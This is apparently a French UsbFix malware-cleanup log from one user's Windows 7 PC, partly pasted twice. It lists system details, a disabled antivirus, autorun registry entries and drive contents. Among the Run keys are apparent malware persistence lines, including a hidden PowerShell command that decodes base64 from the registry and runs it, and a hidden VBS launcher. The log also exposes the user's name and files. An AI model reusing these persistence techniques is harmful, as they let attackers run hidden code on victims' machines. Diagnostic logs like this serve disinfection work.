Publicité
Publicité
Format du document : text/plain
Prévisualisation
[b]############################## | UsbFix V 7.184 | [Nettoyage][/b]
Utilisateur: Angele OUIYA (Administrateur) # ANGELEOUIYA-PC
Mis à jour le 20/10/2014 par El Desaparecido - SosVirus
Lancé à 22:50:29 | 14/02/2017
Site Web : [url=http://www.usbfix.net/]http://www.usbfix.net/[/url]
Changelog : [url=http://www.usbfix.net/maj/]http://www.usbfix.net/maj/[/url]
Assistance : [url=http://www.sosvirus.net/forum-virus-securite.html]http://www.sosvirus.net/forum-virus-securite.html[/url]
Upload Malware : [url=http://www.sosvirus.net/upload_malware.php]http://www.sosvirus.net/upload_malware.php[/url]
Détection en Live : [url=http://comment-supprimer.fr/]http://comment-supprimer.fr/[/url]
Contact : [url=http://www.usbfix.net/contact/]http://www.usbfix.net/contact/[/url]
[b]################## | System information |[/b]
MB: Quanta (3627)
CPU: Intel(R) Core(TM)2 Duo CPU T6600 @ 2.20GHz
GC: Mobile Intel(R) 4 Series Express Chipset Family
RAM -> [Total : 3999 Mo | Free : 1600 Mo]
Bios: Hewlett-Packard
Boot: Normal boot
OS: Microsoft Windows 7 Home Premium (6.1.7601 64-Bit) Service Pack 1
WB: Internet Explorer : 11.00.9600.16428
WB: Google Chrome : 56.0.2924.87
[b]################## | Security Information |[/b]
AV: avast! Antivirus [[b](!) Désactivé[/b] |[b](!) Non à jour[/b]]
AS: Windows Defender [Actif |[b](!) Non à jour[/b]]
AS: avast! Antivirus [[b](!) Désactivé[/b] |[b](!) Non à jour[/b]]
FW: avast! Antivirus [[b](!) Désactivé[/b]]
FW: Windows Firewall [Actif]
SC: Security Center [Actif]
WU: Windows Update [Actif]
[b]################## | Disk Information |[/b]
C:\ (%SystemDrive%) -> Disque fixe # 243 Go (151 Go libre(s) - 62%) [OS7] # NTFS
D:\ -> Disque fixe # 13 Go (2 Go libre(s) - 17%) [RECOVERY] # NTFS
F:\ -> Disque fixe # 10 Go (6 Go libre(s) - 60%) [Pas Toucher] # NTFS
G:\ -> Disque fixe # 199 Go (37 Go libre(s) - 18%) [Données 1] # NTFS
H:\ -> Disque amovible # 7 Go (1 Go libre(s) - 15%) [] # FAT32
[b]################## | Recherche générique |[/b]
Supprimé! H:\Removable Drive (8GB).lnk
(!) Fichiers temporaires supprimés. (9.84263229370117 MB)
[b]################## | Registre |[/b]
[b]################## | Regedit Run |[/b]
F2 - HKLM\..\Winlogon : [Shell] explorer.exe
F2 - [x64] HKLM\..\Winlogon : [Shell] explorer.exe
F2 - HKLM\..\Winlogon : [Userinit] userinit.exe
F2 - [x64] HKLM\..\Winlogon : [Userinit] C:\Windows\system32\userinit.exe,
04 - HKCU\..\Run : [LightScribe Control Panel] C:\Program Files (x86)\Common Files\LightScribe\LightScribeControlPanel.exe -hidden
04 - HKCU\..\Run : [Messenger (Yahoo!)] "C:\PROGRA~2\Yahoo!\MESSEN~1\YahooMessenger.exe" -quiet
04 - HKCU\..\Run : [Gestionnaire Antidote.exe] C:\Program Files (x86)\Druide\Antidote\Gestionnaire Antidote.exe
04 - HKCU\..\Run : [swg] "C:\Program Files (x86)\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe"
04 - HKCU\..\Run : [EPSON Stylus CX4400 Series] C:\Windows\system32\spool\DRIVERS\x64\3\E_IATICAA.EXE /FU "C:\Users\ANGELE~1\AppData\Local\Temp\E_SED0C.tmp" /EF "HKCU"
04 - HKCU\..\Run : [SuperCopier2.exe] C:\Program Files (x86)\SuperCopier2\SuperCopier2.exe
04 - HKCU\..\Run : [Search Protection] C:\Program Files (x86)\Yahoo!\Search Protection\SearchProtection.exe
04 - HKCU\..\Run : [PhotoJoy] C:\Program Files (x86)\PhotoJoy\bin\PhotoJoy.exe /c
04 - HKCU\..\Run : [msnmsgr] "C:\Program Files (x86)\Windows Live\Messenger\msnmsgr.exe" /background
04 - HKCU\..\Run : [KiesHelper] C:\Program Files (x86)\Samsung\Kies\KiesHelper.exe /s
04 - HKCU\..\Run : [KiesTrayAgent] C:\Program Files (x86)\Samsung\Kies\KiesTrayAgent.exe
04 - HKCU\..\Run : [KiesPDLR] C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate\KiesPDLR.exe
04 - HKCU\..\Run : [SDP] C:\Program Files (x86)\FilesFrog Update Checker\update_checker.exe /auto
04 - HKCU\..\Run : [feielo] C:\Users\Angele OUIYA\feielo.exe /H
04 - HKCU\..\Run : [Advanced Woman Calendar] "C:\Program Files (x86)\Advanced Woman Calendar\WomanCalendar.exe" -m
04 - HKCU\..\Run : [IDMan] C:\Program Files (x86)\Internet Download Manager\IDMan.exe /onboot
04 - HKCU\..\Run : [Skype] "C:\Program Files (x86)\Skype\Phone\Skype.exe" /minimized /regrun
04 - HKCU\..\Run : [updat] wscript.exe //B "C:\Users\ANGELE~1\AppData\Local\Temp\updat.vbs"
04 - HKCU\..\Run : [{E4F9986F-B279-4A88-8BA9-18D76F2CF6B9}] C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\eRclLYcr').UDKIAXPSU)));
04 - HKLM\..\Run : [HPCam_Menu] "c:\Program Files (x86)\Hewlett-Packard\Media\Webcam\MUITransfer\MUIStartMenu.exe" "c:\Program Files (x86)\Hewlett-Packard\Media\Webcam" UpdateWithCreateOnce "Software\Hewlett-Packard\Media\Webcam"
04 - HKLM\..\Run : [QlbCtrl.exe] C:\Program Files (x86)\Hewlett-Packard\HP Quick Launch Buttons\QlbCtrl.exe /Start
04 - HKLM\..\Run : [UpdatePRCShortCut] "C:\Program Files (x86)\Hewlett-Packard\Recovery\MUITransfer\MUIStartMenu.exe" "C:\Program Files (x86)\Hewlett-Packard\Recovery" UpdateWithCreateOnce "Software\CyberLink\PowerRecover"
04 - HKLM\..\Run : [WirelessAssistant] C:\Program Files (x86)\Hewlett-Packard\HP Wireless Assistant\HPWAMain.exe
04 - HKLM\..\Run : [QuickTime Task] "C:\Program Files (x86)\QuickTime\qttask.exe" -atboottime
04 - HKLM\..\Run : [GrooveMonitor] "C:\Program Files (x86)\Microsoft Office\Office12\GrooveMonitor.exe"
04 - HKLM\..\Run : [NBKeyScan] "C:\Program Files (x86)\Nero\Nero BackItUp 4\NBKeyScan.exe"
04 - HKLM\..\Run : [YSearchProtection] "C:\Program Files (x86)\Yahoo!\Search Protection\SearchProtection.exe"
04 - HKLM\..\Run : [ApnUpdater] "C:\Program Files (x86)\Ask.com\Updater\Updater.exe"
04 - HKLM\..\Run : [facemoods] "C:\Program Files (x86)\facemoods.com\facemoods\1.4.17.11\facemoodssrv.exe" /md I
04 - HKLM\..\Run : [DATAMNGR] C:\PROGRA~2\SEARCH~1\Datamngr\DATAMN~1.EXE
04 - HKLM\..\Run : [VDownloader] C:\Program Files (x86)\VDownloader\VDownloader.exe /silent
04 - HKLM\..\Run : [Sweetpacks Communicator] C:\Program Files (x86)\SweetIM\Communicator\SweetPacksUpdateManager.exe
04 - HKLM\..\Run : [Adobe ARM] "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
04 - HKLM\..\Run : [AvastUI.exe] "C:\Program Files\AVAST Software\Avast\AvastUI.exe" /nogui
04 - HKLM\..\Run : [SunJavaUpdateSched] "C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe"
04 - HKLM\..\Run : [HPUsageTrackingLEDM] "C:\Program Files (x86)\HP\HP UT LEDM\bin\hppusg.exe" "C:\Program Files (x86)\HP\HP UT LEDM\"
04 - HKLM\..\Run : [{2EB25CE5-0F84-4B65-AFB4-4360BECDEDC1}] "C:\Program Files (x86)\Airtel Internet\UUShell.exe" /CallBySystem
04 - HKLM\..\Run : [CancelAutoPlay] "C:\Program Files (x86)\Airtel Internet\CancelAutoPlay.exe" run
04 - HKLM\..\Run : [HP Software Update] C:\Program Files (x86)\Hp\HP Software Update\HPWuSchd2.exe
04 - HKLM\..\Policies\Explorer\run : [1811855875] C:\ProgramData\mscne.exe
04 - [x64] HKLM\..\Run : [SynTPEnh] %ProgramFiles%\Synaptics\SynTP\SynTPEnh.exe
04 - [x64] HKLM\..\Run : [SmartMenu] C:\Program Files\Hewlett-Packard\HP MediaSmart\SmartMenu.exe /background
04 - [x64] HKLM\..\Run : [SunJavaUpdateSched] "C:\Program Files\Java\jre6\bin\jusched.exe"
04 - [x64] HKLM\..\Run : [IgfxTray] C:\Windows\system32\igfxtray.exe
04 - [x64] HKLM\..\Run : [HotKeysCmds] C:\Windows\system32\hkcmd.exe
04 - [x64] HKLM\..\Run : [Persistence] C:\Windows\system32\igfxpers.exe
04 - [x64] HKLM\..\Run : [SysTrayApp] C:\Program Files\IDT\WDM\sttray64.exe
04 - [x64] HKLM\..\Run : [VDownloader] C:\Program Files\VDownloader\VDownloader.exe /silent
04 - [x64] HKLM\..\Policies\Explorer\run : [1811855875] C:\ProgramData\mscne.exe
04 - HKU\S-1-5-19\..\Run : [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun
04 - HKU\S-1-5-20\..\Run : [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [LightScribe Control Panel] C:\Program Files (x86)\Common Files\LightScribe\LightScribeControlPanel.exe -hidden
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [Messenger (Yahoo!)] "C:\PROGRA~2\Yahoo!\MESSEN~1\YahooMessenger.exe" -quiet
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [Gestionnaire Antidote.exe] C:\Program Files (x86)\Druide\Antidote\Gestionnaire Antidote.exe
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [swg] "C:\Program Files (x86)\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe"
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [EPSON Stylus CX4400 Series] C:\Windows\system32\spool\DRIVERS\x64\3\E_IATICAA.EXE /FU "C:\Users\ANGELE~1\AppData\Local\Temp\E_SED0C.tmp" /EF "HKCU"
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [SuperCopier2.exe] C:\Program Files (x86)\SuperCopier2\SuperCopier2.exe
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [Search Protection] C:\Program Files (x86)\Yahoo!\Search Protection\SearchProtection.exe
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [PhotoJoy] C:\Program Files (x86)\PhotoJoy\bin\PhotoJoy.exe /c
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [msnmsgr] "C:\Program Files (x86)\Windows Live\Messenger\msnmsgr.exe" /background
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [KiesHelper] C:\Program Files (x86)\Samsung\Kies\KiesHelper.exe /s
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [KiesTrayAgent] C:\Program Files (x86)\Samsung\Kies\KiesTrayAgent.exe
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [KiesPDLR] C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate\KiesPDLR.exe
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [SDP] C:\Program Files (x86)\FilesFrog Update Checker\update_checker.exe /auto
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [feielo] C:\Users\Angele OUIYA\feielo.exe /H
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [Advanced Woman Calendar] "C:\Program Files (x86)\Advanced Woman Calendar\WomanCalendar.exe" -m
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [IDMan] C:\Program Files (x86)\Internet Download Manager\IDMan.exe /onboot
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [Skype] "C:\Program Files (x86)\Skype\Phone\Skype.exe" /minimized /regrun
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [updat] wscript.exe //B "C:\Users\ANGELE~1\AppData\Local\Temp\updat.vbs"
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [{E4F9986F-B279-4A88-8BA9-18D76F2CF6B9}] C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\eRclLYcr').UDKIAXPSU)));
04 - HKU\S-1-5-18\..\Run : [Gestionnaire Antidote.exe] C:\Program Files (x86)\Druide\Antidote\Gestionnaire Antidote.exe
04 - HKU\S-1-5-19\..\RunOnce : [mctadmin] C:\Windows\System32\mctadmin.exe
04 - HKU\S-1-5-20\..\RunOnce : [mctadmin] C:\Windows\System32\mctadmin.exe
[b]################## | UsbFix - Information |[/b]
Info : [url=https://www.youtube.com/watch?v=vUZYYASd7FE]Comment supprimer l'infection des raccourcis sur USB ? (Video)[/url]
Info : [url=http://www.en.usbfix.net/2014/03/remove-shortcut-virus-usb/]L'infection des raccourcis USB, c'est quoi ?[/url]
[b]################## | Hijack |[/b]
Restauré! [D] H:\
[b]################## | C:\ %SystemDrive% - Disque Fixe (NTFS) |[/b]
[07/11/2007 - 08:00:40 | A | 17 Ko] - C:\eula.1040.txt
[07/11/2007 - 08:00:40 | A | 17 Ko] - C:\eula.1036.txt
[07/11/2007 - 08:00:40 | A | 10 Ko] - C:\eula.1033.txt
[07/11/2007 - 08:00:40 | A | 17 Ko] - C:\eula.3082.txt
[07/11/2007 - 08:00:40 | A | 17 Ko] - C:\eula.2052.txt
[07/11/2007 - 08:00:40 | A | 17 Ko] - C:\eula.1031.txt
[07/11/2007 - 08:00:40 | A | 17 Ko] - C:\eula.1028.txt
[07/11/2007 - 08:00:40 | A | 17 Ko] - C:\eula.1042.txt
[07/11/2007 - 08:00:40 | A | 0 Ko] - C:\eula.1041.txt
[14/02/2017 - 20:51:20 | ASH | 3071376 Ko] - C:\hiberfil.sys
[27/09/2016 - 12:52:14 | D] - C:\SYSTEM.SAV
[10/08/2010 - 19:32:53 | N | 512 Ko] - C:\ntuser.dat{344044e6-a453-11df-bda5-b41864248d30}.TMContainer00000000000000000001.regtrans-ms
[10/08/2010 - 19:32:53 | N | 512 Ko] - C:\ntuser.dat{344044e6-a453-11df-bda5-b41864248d30}.TMContainer00000000000000000002.regtrans-ms
[07/11/2007 - 08:12:28 | A | 228 Ko] - C:\VC_RED.MSI
[11/02/2017 - 23:48:24 | D] - C:\Config.Msi
[10/08/2010 - 19:32:51 | N | 0 Ko] - C:\ntuser.dat.LOG2
[10/08/2010 - 19:32:51 | N | 5 Ko] - C:\ntuser.dat.LOG1
[02/03/2010 - 00:16:40 | A | 0 Ko] - C:\hpqlb.log
[25/10/2011 - 14:08:25 | A | 21 Ko] - C:\M1319.log
[10/01/2013 - 14:26:09 | A | 2 Ko] - C:\MPUsbSIn.log
[09/12/2011 - 20:44:57 | A | 0 Ko] - C:\user.js
[07/11/2007 - 08:00:40 | A | 1 Ko] - C:\globdata.ini
[07/11/2007 - 08:00:40 | A | 1 Ko] - C:\install.ini
[07/11/2007 - 08:03:18 | A | 550 Ko] - C:\install.exe
[07/11/2007 - 08:03:18 | A | 78 Ko] - C:\install.res.1042.dll
[07/11/2007 - 08:03:18 | A | 80 Ko] - C:\install.res.1041.dll
[07/11/2007 - 08:03:18 | A | 95 Ko] - C:\install.res.1036.dll
[07/11/2007 - 08:03:18 | A | 74 Ko] - C:\install.res.2052.dll
[07/11/2007 - 08:03:18 | A | 93 Ko] - C:\install.res.1040.dll
[07/11/2007 - 08:03:18 | A | 75 Ko] - C:\install.res.1028.dll
[07/11/2007 - 08:03:18 | A | 94 Ko] - C:\install.res.1031.dll
[07/11/2007 - 08:03:18 | A | 89 Ko] - C:\install.res.1033.dll
[07/11/2007 - 08:03:18 | A | 94 Ko] - C:\install.res.3082.dll
[10/08/2010 - 19:32:52 | A | 256 Ko] - C:\ntuser.dat
[07/11/2007 - 08:09:22 | A | 1409 Ko] - C:\VC_RED.cab
[07/11/2007 - 08:00:40 | A | 6 Ko] - C:\vcredist.bmp
[10/08/2010 - 19:32:53 | N | 64 Ko] - C:\ntuser.dat{344044e6-a453-11df-bda5-b41864248d30}.TM.blf
[27/01/2010 - 01:30:18 | SHD] - C:\$Recycle.Bin
[05/11/2014 - 20:15:11 | A | 1 Ko] - C:\PhysicalDisk0_MBR.bin
[19/04/2016 - 10:30:18 | SHD] - C:\found.000
[30/06/2016 - 10:54:15 | D] - C:\$WINDOWS.~BT
[14/07/2009 - 01:38:58 | RASH | 375 Ko] - C:\bootmgr
[14/07/2009 - 03:20:08 | D] - C:\PerfLogs
[14/07/2009 - 05:08:56 | SHD] - C:\Documents and Settings
[21/08/2009 - 08:43:18 | SHD] - C:\boot
[10/01/2010 - 10:24:43 | SHD] - C:\Recovery
[17/01/2010 - 19:27:15 | RHD] - C:\MSOCache
[02/12/2010 - 12:22:19 | D] - C:\inetpub
[23/11/2015 - 05:12:27 | RD] - C:\Users
[05/12/2015 - 11:00:45 | D] - C:\Program Files
[05/04/2016 - 12:52:58 | D] - C:\5d14a833c9b2624aa7a64468a686
[01/07/2016 - 17:48:50 | D] - C:\efe55e20beedf3d6de4346bc59c7323a
[07/08/2016 - 14:20:58 | D] - C:\Windows
[27/09/2016 - 12:52:10 | D] - C:\downloads
[27/09/2016 - 12:52:10 | D] - C:\epson
[27/09/2016 - 12:52:10 | D] - C:\Hewlett-Packard
[27/09/2016 - 12:52:11 | D] - C:\HP
[27/09/2016 - 12:52:12 | D] - C:\Intel
[27/09/2016 - 12:52:12 | D] - C:\logs
[27/09/2016 - 12:52:12 | D] - C:\Microprocesseur MPLAB Project
[27/09/2016 - 12:52:12 | D] - C:\MININT
[27/09/2016 - 12:52:12 | D] - C:\Multisim 2011
[27/09/2016 - 12:52:13 | D] - C:\SwSetup
[27/09/2016 - 12:52:14 | D] - C:\temp
[27/09/2016 - 16:21:08 | D] - C:\Google
[27/09/2016 - 17:34:24 | D] - C:\win
[27/10/2016 - 17:57:43 | SHD] - C:\System Volume Information
[18/12/2016 - 12:17:33 | D] - C:\Program Files (x86)
[14/02/2017 - 22:50:15 | D] - C:\UsbFix
[14/02/2017 - 22:50:37 | HD] - C:\ProgramData
[b]################## | D:\ - Disque Fixe (NTFS) |[/b]
[27/02/2012 - 23:04:54 | A | 0 Ko] - D:\HPSF_Rep.txt
[27/09/2016 - 12:52:17 | D] - D:\system.sav
[25/08/2009 - 08:47:38 | N | 0 Ko] - D:\RPCONFIG.LOG
[25/08/2009 - 08:47:43 | N | 11 Ko] - D:\DeployRp.log
[10/01/2010 - 10:35:34 | N | 0 Ko] - D:\language.ini
[10/01/2010 - 10:35:34 | N | 0 Ko] - D:\BT_HP.FLG
[25/08/2009 - 08:38:29 | N | 0 Ko] - D:\CSP.DAT
[10/01/2010 - 10:35:23 | N | 0 Ko] - D:\HP_WSD.dat
[27/01/2010 - 01:30:18 | SHD] - D:\$RECYCLE.BIN
[14/07/2009 - 18:39:00 | ASH | 375 Ko] - D:\bootmgr
[18/02/2014 - 15:40:21 | SHD] - D:\System Volume Information
[27/09/2016 - 12:52:16 | SHD] - D:\boot
[27/09/2016 - 12:52:16 | D] - D:\hp
[27/09/2016 - 12:52:16 | SHD] - D:\preload
[27/09/2016 - 12:52:16 | SD] - D:\Recovery
[b]################## | F:\ - Disque Fixe (NTFS) |[/b]
[14/02/2017 - 20:51:22 | ASH | 4095168 Ko] - F:\pagefile.sys
[27/01/2010 - 01:30:18 | SHD] - F:\$RECYCLE.BIN
[27/01/2010 - 01:22:17 | SHD] - F:\System Volume Information
[b]################## | G:\ - Disque Fixe (NTFS) |[/b]
[17/04/2010 - 23:55:39 | A | 4999 Ko] - G:\MP515_525_575-fr.pdf
[15/12/2010 - 15:29:06 | A | 26 Ko] - G:\Circuit1 essai.ms8
[15/11/2015 - 14:37:43 | A | 104 Ko] - G:\Mes documents_2.htm
[23/03/2010 - 23:34:54 | A | 346 Ko] - G:\projet 2ème annee composant bon mechanical layer.ewprj (Security copy)
[19/04/2010 - 13:14:04 | A | 346 Ko] - G:\projet 2ème annee composant bon mechanical layer.ewprj
[30/01/2010 - 07:48:05 | A | 25 Ko] - G:\Pour ouvrir le Centre réseau et partage.docx
[30/01/2010 - 08:02:33 | A | 12 Ko] - G:\Médecine et santé.docx
[02/04/2010 - 17:22:10 | A | 12 Ko] - G:\La présentation power point.docx
[19/04/2010 - 21:02:38 | A | 4148 Ko] - G:\Manuel FM transmitter.doc
[31/01/2010 - 16:30:10 | D] - G:\$RECYCLE.BIN
[18/02/2014 - 15:40:21 | SHD] - G:\System Volume Information
[27/09/2016 - 12:52:18 | D] - G:\ANGELE
[27/09/2016 - 12:52:18 | D] - G:\Angèle
[27/09/2016 - 12:52:18 | D] - G:\Contenu disque amovible
[27/09/2016 - 12:52:18 | D] - G:\DSpeech French Pack
[27/09/2016 - 12:52:19 | D] - G:\Ma musique
[27/09/2016 - 12:52:19 | D] - G:\Mes images
[27/09/2016 - 12:52:19 | D] - G:\Mplab
[27/09/2016 - 12:52:20 | D] - G:\My Music
[27/09/2016 - 12:52:20 | D] - G:\Programme Ultiboard et multisim 8
[05/12/2016 - 10:40:37 | D] - G:\Mes videos
[12/02/2017 - 11:29:00 | D] - G:\Mes documents
[b]################## | H:\ - Disque USB (FAT32) |[/b]
[26/06/2016 - 14:36:46 | SHD] - H:\System Volume Information
[20/10/2016 - 07:46:02 | D] - H:\
[13/02/2017 - 00:34:58 | D] - H:\Les objectifs pédagogiques
[b]################## | Vaccin |[/b]
C:\Autorun.inf -> Vaccin créé par UsbFix (El Desaparecido)
D:\Autorun.inf -> Vaccin créé par UsbFix (El Desaparecido)
F:\Autorun.inf -> Vaccin créé par UsbFix (El Desaparecido)
G:\Autorun.inf -> Vaccin créé par UsbFix (El Desaparecido)
H:\Autorun.inf -> Vaccin créé par UsbFix (El Desaparecido)
[b]################## | E.O.F | [url=http://www.sosvirus.net/]http://www.sosvirus.net/[/url] | [url=http://www.usbfix.net/]http://www.usbfix.net/[/url] |[/b]
Utilisateur: Angele OUIYA (Administrateur) # ANGELEOUIYA-PC
Mis à jour le 20/10/2014 par El Desaparecido - SosVirus
Lancé à 22:50:29 | 14/02/2017
Site Web : [url=http://www.usbfix.net/]http://www.usbfix.net/[/url]
Changelog : [url=http://www.usbfix.net/maj/]http://www.usbfix.net/maj/[/url]
Assistance : [url=http://www.sosvirus.net/forum-virus-securite.html]http://www.sosvirus.net/forum-virus-securite.html[/url]
Upload Malware : [url=http://www.sosvirus.net/upload_malware.php]http://www.sosvirus.net/upload_malware.php[/url]
Détection en Live : [url=http://comment-supprimer.fr/]http://comment-supprimer.fr/[/url]
Contact : [url=http://www.usbfix.net/contact/]http://www.usbfix.net/contact/[/url]
[b]################## | System information |[/b]
MB: Quanta (3627)
CPU: Intel(R) Core(TM)2 Duo CPU T6600 @ 2.20GHz
GC: Mobile Intel(R) 4 Series Express Chipset Family
RAM -> [Total : 3999 Mo | Free : 1600 Mo]
Bios: Hewlett-Packard
Boot: Normal boot
OS: Microsoft Windows 7 Home Premium (6.1.7601 64-Bit) Service Pack 1
WB: Internet Explorer : 11.00.9600.16428
WB: Google Chrome : 56.0.2924.87
[b]################## | Security Information |[/b]
AV: avast! Antivirus [[b](!) Désactivé[/b] |[b](!) Non à jour[/b]]
AS: Windows Defender [Actif |[b](!) Non à jour[/b]]
AS: avast! Antivirus [[b](!) Désactivé[/b] |[b](!) Non à jour[/b]]
FW: avast! Antivirus [[b](!) Désactivé[/b]]
FW: Windows Firewall [Actif]
SC: Security Center [Actif]
WU: Windows Update [Actif]
[b]################## | Disk Information |[/b]
C:\ (%SystemDrive%) -> Disque fixe # 243 Go (151 Go libre(s) - 62%) [OS7] # NTFS
D:\ -> Disque fixe # 13 Go (2 Go libre(s) - 17%) [RECOVERY] # NTFS
F:\ -> Disque fixe # 10 Go (6 Go libre(s) - 60%) [Pas Toucher] # NTFS
G:\ -> Disque fixe # 199 Go (37 Go libre(s) - 18%) [Données 1] # NTFS
H:\ -> Disque amovible # 7 Go (1 Go libre(s) - 15%) [] # FAT32
[b]################## | Recherche générique |[/b]
Supprimé! H:\Removable Drive (8GB).lnk
(!) Fichiers temporaires supprimés. (9.84263229370117 MB)
[b]################## | Registre |[/b]
[b]################## | Regedit Run |[/b]
F2 - HKLM\..\Winlogon : [Shell] explorer.exe
F2 - [x64] HKLM\..\Winlogon : [Shell] explorer.exe
F2 - HKLM\..\Winlogon : [Userinit] userinit.exe
F2 - [x64] HKLM\..\Winlogon : [Userinit] C:\Windows\system32\userinit.exe,
04 - HKCU\..\Run : [LightScribe Control Panel] C:\Program Files (x86)\Common Files\LightScribe\LightScribeControlPanel.exe -hidden
04 - HKCU\..\Run : [Messenger (Yahoo!)] "C:\PROGRA~2\Yahoo!\MESSEN~1\YahooMessenger.exe" -quiet
04 - HKCU\..\Run : [Gestionnaire Antidote.exe] C:\Program Files (x86)\Druide\Antidote\Gestionnaire Antidote.exe
04 - HKCU\..\Run : [swg] "C:\Program Files (x86)\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe"
04 - HKCU\..\Run : [EPSON Stylus CX4400 Series] C:\Windows\system32\spool\DRIVERS\x64\3\E_IATICAA.EXE /FU "C:\Users\ANGELE~1\AppData\Local\Temp\E_SED0C.tmp" /EF "HKCU"
04 - HKCU\..\Run : [SuperCopier2.exe] C:\Program Files (x86)\SuperCopier2\SuperCopier2.exe
04 - HKCU\..\Run : [Search Protection] C:\Program Files (x86)\Yahoo!\Search Protection\SearchProtection.exe
04 - HKCU\..\Run : [PhotoJoy] C:\Program Files (x86)\PhotoJoy\bin\PhotoJoy.exe /c
04 - HKCU\..\Run : [msnmsgr] "C:\Program Files (x86)\Windows Live\Messenger\msnmsgr.exe" /background
04 - HKCU\..\Run : [KiesHelper] C:\Program Files (x86)\Samsung\Kies\KiesHelper.exe /s
04 - HKCU\..\Run : [KiesTrayAgent] C:\Program Files (x86)\Samsung\Kies\KiesTrayAgent.exe
04 - HKCU\..\Run : [KiesPDLR] C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate\KiesPDLR.exe
04 - HKCU\..\Run : [SDP] C:\Program Files (x86)\FilesFrog Update Checker\update_checker.exe /auto
04 - HKCU\..\Run : [feielo] C:\Users\Angele OUIYA\feielo.exe /H
04 - HKCU\..\Run : [Advanced Woman Calendar] "C:\Program Files (x86)\Advanced Woman Calendar\WomanCalendar.exe" -m
04 - HKCU\..\Run : [IDMan] C:\Program Files (x86)\Internet Download Manager\IDMan.exe /onboot
04 - HKCU\..\Run : [Skype] "C:\Program Files (x86)\Skype\Phone\Skype.exe" /minimized /regrun
04 - HKCU\..\Run : [updat] wscript.exe //B "C:\Users\ANGELE~1\AppData\Local\Temp\updat.vbs"
04 - HKCU\..\Run : [{E4F9986F-B279-4A88-8BA9-18D76F2CF6B9}] C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\eRclLYcr').UDKIAXPSU)));
04 - HKLM\..\Run : [HPCam_Menu] "c:\Program Files (x86)\Hewlett-Packard\Media\Webcam\MUITransfer\MUIStartMenu.exe" "c:\Program Files (x86)\Hewlett-Packard\Media\Webcam" UpdateWithCreateOnce "Software\Hewlett-Packard\Media\Webcam"
04 - HKLM\..\Run : [QlbCtrl.exe] C:\Program Files (x86)\Hewlett-Packard\HP Quick Launch Buttons\QlbCtrl.exe /Start
04 - HKLM\..\Run : [UpdatePRCShortCut] "C:\Program Files (x86)\Hewlett-Packard\Recovery\MUITransfer\MUIStartMenu.exe" "C:\Program Files (x86)\Hewlett-Packard\Recovery" UpdateWithCreateOnce "Software\CyberLink\PowerRecover"
04 - HKLM\..\Run : [WirelessAssistant] C:\Program Files (x86)\Hewlett-Packard\HP Wireless Assistant\HPWAMain.exe
04 - HKLM\..\Run : [QuickTime Task] "C:\Program Files (x86)\QuickTime\qttask.exe" -atboottime
04 - HKLM\..\Run : [GrooveMonitor] "C:\Program Files (x86)\Microsoft Office\Office12\GrooveMonitor.exe"
04 - HKLM\..\Run : [NBKeyScan] "C:\Program Files (x86)\Nero\Nero BackItUp 4\NBKeyScan.exe"
04 - HKLM\..\Run : [YSearchProtection] "C:\Program Files (x86)\Yahoo!\Search Protection\SearchProtection.exe"
04 - HKLM\..\Run : [ApnUpdater] "C:\Program Files (x86)\Ask.com\Updater\Updater.exe"
04 - HKLM\..\Run : [facemoods] "C:\Program Files (x86)\facemoods.com\facemoods\1.4.17.11\facemoodssrv.exe" /md I
04 - HKLM\..\Run : [DATAMNGR] C:\PROGRA~2\SEARCH~1\Datamngr\DATAMN~1.EXE
04 - HKLM\..\Run : [VDownloader] C:\Program Files (x86)\VDownloader\VDownloader.exe /silent
04 - HKLM\..\Run : [Sweetpacks Communicator] C:\Program Files (x86)\SweetIM\Communicator\SweetPacksUpdateManager.exe
04 - HKLM\..\Run : [Adobe ARM] "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
04 - HKLM\..\Run : [AvastUI.exe] "C:\Program Files\AVAST Software\Avast\AvastUI.exe" /nogui
04 - HKLM\..\Run : [SunJavaUpdateSched] "C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe"
